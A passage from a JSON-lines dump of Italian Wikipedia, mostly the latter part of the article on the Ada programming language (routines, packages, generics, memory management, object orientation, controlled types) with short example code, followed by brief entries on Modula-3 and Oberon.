all'esterno del package ma non limitato nella parte privata dello stesso, garantendo flessibilit\u00e0 all'interno del package, dove le operazioni predefinite rimangono disponibili, e allo stesso tempo il controllo sul tipo rispetto a chi lo usa all'esterno del package.\nModularit\u00e0.\nAda \u00e8 un linguaggio strutturato e permette di dividere il codice in pi\u00f9 unit\u00e0 di compilazione (routine e package), che possono essere compilate separatamente.\nRoutine.\nAda supporta due tipi di routine, funzioni e procedure, dichiarate con le keyword codice_107 e codice_108. Le prime hanno un valore di ritorno e possono essere usate solo nel contesto di un'espressione (in Ada, a differenza dei linguaggi derivati dal C, non esistono \"expression statement\"), mentre le seconde non hanno valore di ritorno e possono essere usate solo come istruzione. Sia le procedure sia le funzioni sono costituite da due parti distinte, una parte dichiarativa tra le keyword codice_109 e codice_110, che pu\u00f2 contenere solo dichiarazioni (come variabili, tipi o altre routine annidate), e una parte contenente solo istruzioni, tra le keyword codice_110 e codice_112. \u00c8 possibile inserire dichiarazioni fuori dalla parte dichiarativa usando un blocco codice_40, e le relative dichiarazioni sono visibili solo al suo interno. Una routine pu\u00f2 costituire un'unit\u00e0 di compilazione autonoma oppure pu\u00f2 essere dichiarata ed implementata all'interno di un package o nella parte dichiarativa di un'altra routine.\nI parametri di una routine vengono specificati tra parentesi tonde, e Ada supporta il passaggio di parametri sia per valore sia per riferimento, con tre diversi modi: codice_114, codice_115 e codice_116. I parametri passati in modo codice_114 possono solo essere letti dalla routine, quelli in modo codice_115 possono solo essere scritti, quelli in modo codice_116 possono essere letti e scritti. Il modo di un parametro viene specificato dopo i codice_15 e prima del tipo, e se omesso viene assunto codice_114 come predefinito. \u00c8 possibile definire un valore predefinito per i parametri, che in questo modo diventano opzionali e possono essere omessi nelle chiamate alla routine: in tale caso viene usato il valore predefinito. Per i parametri e i valori di ritorno di tipo \"access\" \u00e8 possibile specificare la \"null exclusion\", che causa un'eccezione a runtime se il parametro (o il valore restituito) sono codice_23. Le routine vengono invocate facendo seguire al nome delle stesse una coppia di parentesi tonde contenenti i parametri, ma se una routine viene dichiarata o chiamata senza passare alcun parametro le parentesi tonde possono essere omesse. Le routine definite su tipi tagged possono essere richiamate anche con la dot notation rispetto al parametro di tipo tagged.\n-- esempio di procedura con parametro facoltativo\nprocedure Incrementa(X: in out Integer; Incremento: Integer := 1) is\nbegin\n X := X + Incremento;\nend Incrementa;\n-- esempio di chiamata in un'altra porzione di codice\nprocedure P is\n N: Integer := 0;\nbegin\n Incrementa(N);\n -- ora N vale 1\n Incrementa(N, 3);\n -- ora N vale 4\nend P;\nAnche gli operatori sono funzioni, definite indicando il nome dell'operatore tra doppi apici, e Ada supporta l'overloading degli stessi, cos\u00ec come l'overload e l'override delle routine in generale.\n-- esempio di overload dell'operatore + con operandi di un tipo T\n-- la cui somma \u00e8 definita nella funzione Somma_T\nfunction \"+\"(Left, Right: T) return T is\nbegin\n return Somma_T(Left, Right);\nend \"+\";\nGli operatori sono identificati dalle seguenti keyword:\nabs and mod not or rem xor\n+ - * / ** &amp;\nPackage.\nLa modularit\u00e0 del codice ad un livello pi\u00f9 astratto rispetto alle routine \u00e8 ottenuta tramite i package. Un package \u00e8 suddiviso in due parti distinte, specifica e implementazione, e alcuni compilatori (come GNAT) obbligano ad inserire una sola unit\u00e0 di compilazione per file, dividendo inoltre specifica e implementazione in due file separati (rispettivamente codice_123 e codice_124). La specifica rappresenta l'interfaccia del package accessibile dall'esterno e pu\u00f2 essere compilata indipendentemente dall'implementazione, facilitando i test nelle fasi iniziali di sviluppo. L'implementazione contiene il codice effettivo delle routine definite nell'interfaccia, pi\u00f9 altre eventuali routine non accessibili dall'esterno del package. I package possono essere compilati separatamente e, in caso di modifica all'implementazione di un package senza alterarne la specifica, eventuali altri package da esso dipendenti non necessitano di essere ricompilati.\nLe dichiarazione delle routine contenute devono essere inserite nella specifica del package (file codice_123), mentre l'implementazione si colloca nel body (file codice_124). Specifica e implementazione devono avere una \"type conformance\" completa, ovvero il nome della routine, l'eventuale tipo di ritorno, il numero, tipo, modo, ordine, valore predefinito e nome dei parametri devono essere identici nella specifica e nell'implementazione, a meno di alcune differenze non sostanziali: un letterale numerico pu\u00f2 essere sostituito con uno formalmente diverso ma con lo stesso valore, a un identificatore pu\u00f2 essere aggiunto un prefisso in dot notation, un'indicazione esplicita del modo codice_114 pu\u00f2 essere omessa, un insieme di parametri dello stesso sottotipo possono essere indicati separatamente. Tutte le routine dichiarate nella specifica devono essere necessariamente implementate nel body, salvo alcune eccezioni: le procedure nulle (la cui dichiarazione termina con codice_128, ed \u00e8 equivalente a una procedura contenente solo un'istruzione nulla), le routine astratte (che non hanno un'implementazione) e le funzioni costituite da un'espressione condizionale (che viene inserita direttamente nella specifica).\n-- specifica\npackage P is\n -- routine implementate nel body\n procedure Somma(A, B: in Integer; S: out Integer);\n function Somma(A, B: Integer := 0) return Integer;\n -- routine non implementate nel body\n procedure Foo(A: Integer) is null; -- procedura nulla\n function Baz is abstract; -- routine astratta\n function Bar(A: Integer) return Boolean is -- funzione costituita da un'espressione condizionale\n (if A &gt; 0 then True else False);\nend P;\n-- implementazione\npackage body P is\n procedure Somma(A, B: in Integer; S: out Integer) is\n begin\n -- inizio istruzioni\n S := A + B;\n end Somma;\n function Somma(A, B: Integer := 0) return Integer is\n -- inizio parte dichiarativa\n C: Integer;\n begin\n -- inizio istruzioni\n C := A + B;\n return C;\n end Somma;\nend P;\nSi pu\u00f2 creare una gerarchia di package in due modi: con l'annidamento, definendo un package dentro l'altro, e con la parentela, definendo un package come figlio dell'altro (separando padre e figlio con la dot notation). I package figli possono essere inoltre definiti come privati, e in questo modo sono totalmente inaccessibili fuori dal package padre.\n-- package padre\npackage Padre is\n -- package annidato\n package Annidato is\n end Annidato;\nend Padre;\n-- package figlio\npackage Padre.Figlio is\nend Padre.Figlio;\n-- package figlio privato\nprivate package Padre.Figlio_Privato is\nend Padre.Figlio_Privato;\n Tali tipi avranno perci\u00f2 una vista parziale nella parte pubblica, e una vista completa nella parte privata del package. I package figli condividono la parte privata del padre ma non dei fratelli, tuttavia \u00e8 possibile importare un package fratello in modo da poterne vedere anche la parte privata usando la clausola codice_129 invece della solita codice_51.\npackage P is\n type T is private; -- T \u00e8 visibile fuori da P, ma non la sua implementazione\nprivate\n -- S non pu\u00f2 essere visto n\u00e9 usato fuori dal package P\n type S is\n record\n end record;\n -- completa la definizione di T\n type T is\n record\n -- i campi di T non sono visibili n\u00e9 utilizzabili fuori dal package P\n I: Integer;\n end record;\nend P;\nGenerics.\nIn Ada le routine o i package possono avere dei parametri risolti staticamente a tempo di compilazione, specificati facendo precedere l'unit\u00e0 dalla keyword codice_131 e specificati tra parentesi tonde quando si istanzia l'unit\u00e0 generica. I generics sono un meccanismo statico che consente un riuso del codice, permettendo di istanziare la stessa unit\u00e0 con parametri di tipo differenti, ma a differenza di altri linguaggi i parametri generici possono essere non solo tipi, ma anche valori o routine. Nel caso di package generici, non pu\u00f2 essere usata su essi la clausola codice_132 (pu\u00f2 essere usata solo sulle loro istanze concrete) ed ogni eventuale loro package figlio deve necessariamente essere generico.\nAd esempio, una procedura per scambiare due elementi pu\u00f2 essere parametrizzata rispetto al tipo degli stessi\ngeneric\n type T is private;\nprocedure Scambia(A, B: in out T);\nprocedure Scambia(A, B: in out T) is\n Temp: T;\nbegin\n Temp := A;\n A := B;\n B := Temp;\nend Scambia;\ned essere istanziata per l'uso su tipi diversi:\nprocedure Scambia_Interi is new Scambia (Integer);\nprocedure Scambia_Float is new Scambia (Float);\nAnalogamente un package pu\u00f2 implementare uno stack generico\ngeneric\n type T is private;\n Capacit\u00e0: Positive;\npackage Stack is\n procedure Push(X: T);\n function Pop return T;\nprivate\n A: array (1 .. Capacit\u00e0) of T;\n Posizione: Integer range 0 .. Capacit\u00e0;\nend Stack;\nche pu\u00f2 essere istanziato per contenere oggetti di differente tipo e scegliendo di volta in volta la capacit\u00e0 massima:\npackage Int_Stack is new Stack (Integer, 100); -- stack con una capacit\u00e0 di 100 valori interi\npackage Float_Stack is new Stack (Float, 50); -- stack con una capacit\u00e0 di 50 valori float\nParametri di tipo.\nNel caso pi\u00f9 semplice, un parametro di tipo generico \u00e8 istanziabile e ha solo la definizione di assegnamento e uguaglianza. Possono essere specificati diversi attributi del parametro di tipo, che ne modificano l'interfaccia: pu\u00f2 essere limitato, pu\u00f2 avere dei discriminanti (anche non specificati, indicati con il \"box\" codice_21, in tal caso il tipo non \u00e8 istanziabile), pu\u00f2 essere tagged, astratto, pu\u00f2 essere discendente di un tipo preesistente o pu\u00f2 essere un'interfaccia con una o pi\u00f9 interfacce progenitrici. Alcuni esempi di parametri di tipo generici:\ngeneric\n type A is private; -- tipo privato\n type B is limited; -- tipo limitato\n type C (X: Integer); -- tipo con discriminante X\n type D (&lt;&gt;); -- tipo con discriminante sconosciuto\n type E is tagged; -- tipo tagged\n type F is new T; -- tipo derivato dal tipo non tagged T\n type G is new T with private; -- tipo derivato dal tipo tagged T\n type H is interface and I and J; -- tipo interfaccia con due progenitrici\npackage Generic_Package is\nend Generic_Package;\nPer i tipi enumerativi e numerici esistono anche delle indicazioni particolari, e per ognuno di essi sono disponibili le operazioni predefinite per tale tipo.\ngeneric\n type A is (&lt;&gt;); -- tipo enumerativo\n type B is range &lt;&gt;; -- tipo numerico con segno\n type C is mod &lt;&gt;; -- tipo numerico modulare\n type D is digits &lt;&gt;; -- tipo in virgola mobile\n type E is delta &lt;&gt;; -- tipo in virgola fissa\n type F is delta &lt;&gt; digits &lt;&gt;; -- tipo decimale\nParametri routine.\nPoich\u00e9 per un tipo generico si assume l'esistenza delle sole funzioni predefinite per quella categoria di tipi, pu\u00f2 essere necessario passare come parametro anche una o pi\u00f9 routine. Ad esempio, implementando un albero binario di ricerca che possa contenere chiavi di un tipo qualsiasi, per effettuare le operazioni di inserimento o ricerca \u00e8 necessario poter comparare le chiavi, ma l'operatore di confronto codice_9 non \u00e8 predefinito per ogni tipo. Si pu\u00f2 quindi ovviare al problema passando tale operatore come parametro generico. I parametri generici per le routine devono essere quindi passati esplicitamente quando si istanzia il package, ma possono essere omessi se nella dichiarazione del parametro generico si specifica codice_135. In questo caso la routine viene scelta automaticamente quando si istanzia il package, a patto che sia definita e visibile, sia unica e abbia completa \"type conformance\" con la dichiarazione del parametro generico.\n-- package generico\ngeneric\n type T is private;\n with function \"&lt;\"(Sinistra, Destra: T) return Boolean is &lt;&gt;;\npackage Albero_Binario is\nend Albero_Binario;\n-- package che usa l'Albero_Binario\npackage P is\n type Data is\n record\n end record;\n function Confronta_Data(Sinistra, Destra: Data) return Boolean;\n -- istanzia il package generico sul tipo Data\n package Albero_Data is new Albero_Binario(Data, Confronta_Data);\n -- l'operatore pu\u00f2 anche essere omesso, perch\u00e9 esiste ed \u00e8 visibile per il tipo Float\n package Albero_Float is new Albero_Binario(Float);\nend P;\nMemoria dinamica.\nLa memoria dinamica (chiamata \"storage pool\") \u00e8 gestita ad alto livello ed \u00e8 typesafe. Il linguaggio non fornisce puntatori flessibili come quelli del C (che sono una tra le principali fonti di bug, errori e vulnerabilit\u00e0), ma utilizza dei riferimenti (detti \"access type\") che conservano informazioni sull'accessibilit\u00e0 degli oggetti ai quali fanno riferimento e seguono precise regole di accessibilit\u00e0, prevenendo il problema dei dangling pointer. La versatilit\u00e0 del linguaggio per applicazioni a basso livello \u00e8 comunque garantita, grazie all'attributo codice_136 e al package codice_70, che permettono di manipolare indirizzi di memoria raw. L'interfaccia codice_138 fornisce inoltre dei puntatori in stile C, utili quando si interfaccia un'applicazione Ada con una in C.\nLa semantica del linguaggio permette la garbage collection, la cui presenza \u00e8 per\u00f2 legata all'implementazione: solitamente \u00e8 assente nei compilatori per le architetture native (in quanto pu\u00f2 influire in maniera imprevedibile sul timing, e questo \u00e8 un effetto deleterio nei sistemi real-time) ma \u00e8 talvolta presente per i compilatori che hanno come architettura target la JVM. La deallocazione pu\u00f2 essere effettuata manualmente, istanziando l'unit\u00e0 generica codice_139, che deve essere usata con attenzione per evitare di deallocare oggetti nello stack o creare dangling pointer. Per aumentare la sicurezza si pu\u00f2 applicare un pattern di \"smart pointer\", creando oggetti che contano e gestiscono autonomamente i riferimenti alle risorse, in modo che il programmatore del client non debba deallocare niente in maniera esplicita.\nProgrammazione orientata agli oggetti.\nA differenza di molti linguaggi orientati agli oggetti, Ada non ha un costrutto per le classi analogo a C++ o Java. Tra i principali aspetti della programmazione OOP vi sono la possibilit\u00e0 di distinguere il tipo di un oggetto a runtime, di definire un tipo a partire da un altro e di permettere a tali tipi di ereditare le operazioni primitive del tipo da cui deriva. In Ada la differenza tra variabili che sono \"oggetti\" e che non lo sono consiste nel fatto che le prime conservano a runtime le informazioni sul proprio tipo, consentendo il polimorfismo e il dynamic dispatch. \nEreditariet\u00e0.\nL'ereditariet\u00e0 si ha tramite estensione, che rende possibile aggiungere nuovi campi, mantenendo anche quelli ereditati. \u00c8 possibile convertire un oggetto (record tagged) di un sottotipo in un tipo antenato, mentre non \u00e8 possibile fare il contrario, ma \u00e8 possibile assegnare un oggetto di tipo antenato ad un tipo discendente usando un aggregato che completi i campi mancanti (\"extension aggregate\"). L'estensione codice_140 di un tipo tagged codice_141 tramite la keyword codice_81 eredita anche le operazioni primitive per codice_141, ovvero quelle subroutine dichiarate nello stesso package in cui \u00e8 dichiarato codice_141 e che abbiano un parametro o un risultato di tipo codice_141. I tipi derivati hanno quindi un'interfaccia che \u00e8 sempre un sovrainsieme di quella del tipo da cui derivano, e l'implementazione effettiva delle operazioni ereditate pu\u00f2 essere modificata tramite override (l'indicazione esplicita di override nella dichiarazione dell'operazione tramite la keyword codice_146, o viceversa di non override con codice_147, \u00e8 facoltativa ma costituisce un utile controllo statico a tempo di compilazione). Le funzioni di un tipo tagged possono essere richiamate con la dot notation sulla variabile dell'oggetto. L'incapsulamento dello stato interno degli oggetti non \u00e8 diverso da quello per i tipi non tagged, ed \u00e8 ottenuto usando il meccanismo di incapsulamento dei package. L'estensione di un tipo pu\u00f2 avvenire anche privatamente, per cui i campi aggiunti nell'estensione non sono visibili all'esterno del package.\npackage Persone is\n type Persona is tagged -- tipo tagged\n record\n Nome : String;\n Cognome : String;\n Et\u00e0 : Natural;\n end record;\n function Salario(P: Persona) return Float; -- operazione primitiva, restituisce zero come default\n type Lavoratore is new Persona with -- tipo derivato aggiungendo nuovi campi\n record\n Mansione : Job; -- un qualche tipo enumerativo\n Anzianit\u00e0 : Natural;\n end record;\n overriding\n function Salario(L: Lavoratore) return Float; -- override di un'operazione primitiva\n type Studente is new Persona with\n record\n Istituto : School; -- tipo enumerativo\n Corso : Year; -- altro tipo enumerativo\n end record;\n -- Studente eredita la funzione Salario di Persona, che restituisce zero\n -- estensione privata\n type Dottorando is new Studente with private;\n -- dichiarazione di un oggetto Studente\n S: Studente := (\"John\", \"Doe\", 20, \"Trinity College\", III);\n -- conversione da un sottotipo ad un tipo antenato\n P: Persona := Persona(S);\n -- assegnamento ad un sottotipo con un extension aggregate\n T: Studente := (P with Istituto =&gt; \"MIT\", Corso =&gt; IV);\nprivate\n type Dottorando is new Studente with\n record\n -- i campi aggiunti non sono visibili fuori dal package\n Dipartimento: Department;\n end record;\nend Persone;\nDynamic dispatch.\nCon il termine \"classe\" in Ada si indica un insieme di tipi (\"class wide\"), costituito da un tipo tagged e da tutti i tipi da esso derivati direttamente o indirettamente. \u00c8 possibile definire operazioni che hanno parametri o risultato di un tipo \"class wide\" usando l'attributo codice_148, ad esempio per un tipo codice_141 il suo tipo \"class wide\" viene indicato con codice_150. La differenza tra un'operazione con un parametro di tipo codice_141 e uno di tipo codice_150 \u00e8 che nel primo caso la scelta della routine da eseguire \u00e8 determinata staticamente a tempo di compilazione, nel secondo caso \u00e8 determinata dinamicamente a runtime (dynamic dispatch). Se nell'esempio precedente si aggiunge al tipo codice_153 la seguente operazione primitiva\nfunction Reddito_Annuo(P: Persona) return Float is\n return 12.0 * P.Salario;\nend Reddito_Annuo;\nsi ha che la funzione restituir\u00e0 sempre zero per tutti gli oggetti, anche dei tipi come codice_154 che avessero salario non nullo, perch\u00e9 al suo interno viene sempre richiamata staticamente la funzione codice_155 definita per il tipo codice_153, che restituisce zero. Se invece l'operazione \u00e8 definita come\nfunction Reddito_Annuo(P: Persona'Class) return Float is\n return 12.0 * P.Salario;\nend Reddito_Annuo;\nil dispatch della funzione codice_155 avviene dinamicamente e il risultato restituito \u00e8 quello corretto anche per gli oggetti di tipo codice_154.\nTipi astratti e interfacce.\nSe un tipo tagged viene dichiarato astratto, tramite la keyword codice_159, non \u00e8 possibile dichiarare variabili di quel tipo, ma solo usarlo come base da cui derivare altri tipi. I tipi astratti possono avere componenti e routine concrete, ma anche routine a loro volta definite come astratte, che non sono provviste di implementazione. Quando si deriva un tipo concreto da un tipo astratto, tutte le sue routine astratte devono necessariamente essere oggetto di override. Un'interfaccia \u00e8 un tipo dichiarato con la keyword codice_160, ed \u00e8 analogo ad un tipo astratto ma ha maggiori restrizioni, in quanto non pu\u00f2 avere componenti n\u00e9 routine concrete, salvo procedure nulle o routine con parametri \"class wide\".\nAda ha un meccanismo di ereditariet\u00e0 singola per le implementazioni e multipla per le interfacce, simile al Java, per cui \u00e8 possibile definire tipi che estendono al massimo un tipo concreto o astratto, ma allo stesso tempo possono implementare un numero arbitrario di interfacce. Questo previene possibili conflitti o ambiguit\u00e0 derivanti dall'ereditariet\u00e0 multipla completa, ma conserva comunque la flessibilit\u00e0 consentendo ad un tipo di poter avere pi\u00f9 interfacce di routine. Le interfacce possono essere usate anche con estensioni private, ma in quel caso la vista completa e quella parziale del tipo devono essere conformi rispetto alle interfacce implementate, per cui non \u00e8 possibile aggiungere o togliere interfacce nel completamento privato della dichiarazione.\npackage P is\n -- tipo astratto: pu\u00f2 avere campi, procedure concrete e astratte\n type S is abstract tagged\n record\n end record;\n procedure Foo(X: S);\n procedure Baz(X: S) is abstract;\n -- interfaccia: non pu\u00f2 avere campi n\u00e9 operazioni concrete (che non \n -- siano nulle o con parametro class wide)\n type T is interface;\n procedure Foo(X: T) is abstract;\n procedure Baz(X: T) is null;\n procedure Bar(X: T'Class);\nend P;\nTipi controllati.\nIn Ada non esiste il concetto di costruttore, ma \u00e8 possibile sostituirne le caratteristiche funzionali usando un tipo controllato. Un tipo controllato \u00e8 un tipo che estende codice_161 (oppure codice_162 per i tipi controllati e limitati), per il quale \u00e8 possibile eseguire l'override di tre procedure (due nel caso dei tipi limitati, dove manca la procedura codice_163):\nwith Ada.Finalization;\npackage P is\n type T is new Ada.Finalization.Controlled with\n record\n end record;\n overriding procedure Initialize (This: in out T);\n overriding procedure Adjust (This: in out T);\n overriding procedure Finalize (This: in out T);\nend P;\nLa procedura codice_164 viene eseguita sull'oggetto subito dopo la creazione e pu\u00f2 svolgere le funzionalit\u00e0 di inizializzazione tipicamente delegate ad un costruttore, la procedura codice_163 viene eseguita subito dopo un'assegnazione (per cui non \u00e8 disponibile per i tipi codice_166) e pu\u00f2 fungere da costruttore di copia, mentre la procedura codice_167 viene eseguita immediatamente prima della deallocazione di un oggetto, e funge da distruttore.\nPer ragioni storiche, i tipi codice_161 e codice_162 non sono interfacce (aggiunte solo in Ada 2005) ma tipi astratti, per cui non \u00e8 possibile definire un tipo che sia controllato e che contemporaneamente erediti l'implementazione di un tipo non controllato."}
{"id": "26784", "revid": "34971", "url": "https://it.wikipedia.org/wiki?curid=26784", "title": "Modula-3", "text": "Il Modula-3 \u00e8 un linguaggio di programmazione \"object-oriented\" nato come evoluzione del Modula-2. \u00c8 stato progettato da Luca Cardelli, Jim Donahue, Mick Jordan, Bill Kalsow and Greg Nelson presso i centri di ricerca di DEC e Olivetti.\nProgramma di esempio (Hello, world).\n MODULE Main; \n IMPORT IO;\n BEGIN\n IO.Put(\"Hello World\\n\");\n END Main;"}
{"id": "26785", "revid": "7", "url": "https://it.wikipedia.org/wiki?curid=26785", "title": "Madre Coraggio", "text": ""}
{"id": "26786", "revid": "767487", "url": "https://it.wikipedia.org/wiki?curid=26786", "title": "Oberon (linguaggio)", "text": "Oberon \u00e8 un linguaggio di programmazione, derivato dal Modula-2, creato alla fine degli anni ottanta dal Prof. Niklaus Wirth e dai suoi associati al Politecnico Federale di Zurigo in Svizzera. Il nome deriva da quello di Oberon, una delle lune di Urano e non va confuso col sistema operativo Oberon, scritto in Oberon, per le \"workstation\" Ceres and Chamaleon.\nIl linguaggio Oberon \u00e8 stato portato su molte diverse piattaforme (compreso Java). Parimenti, il sistema operativo Oberon \u00e8 stato portato su diversi hardware."}
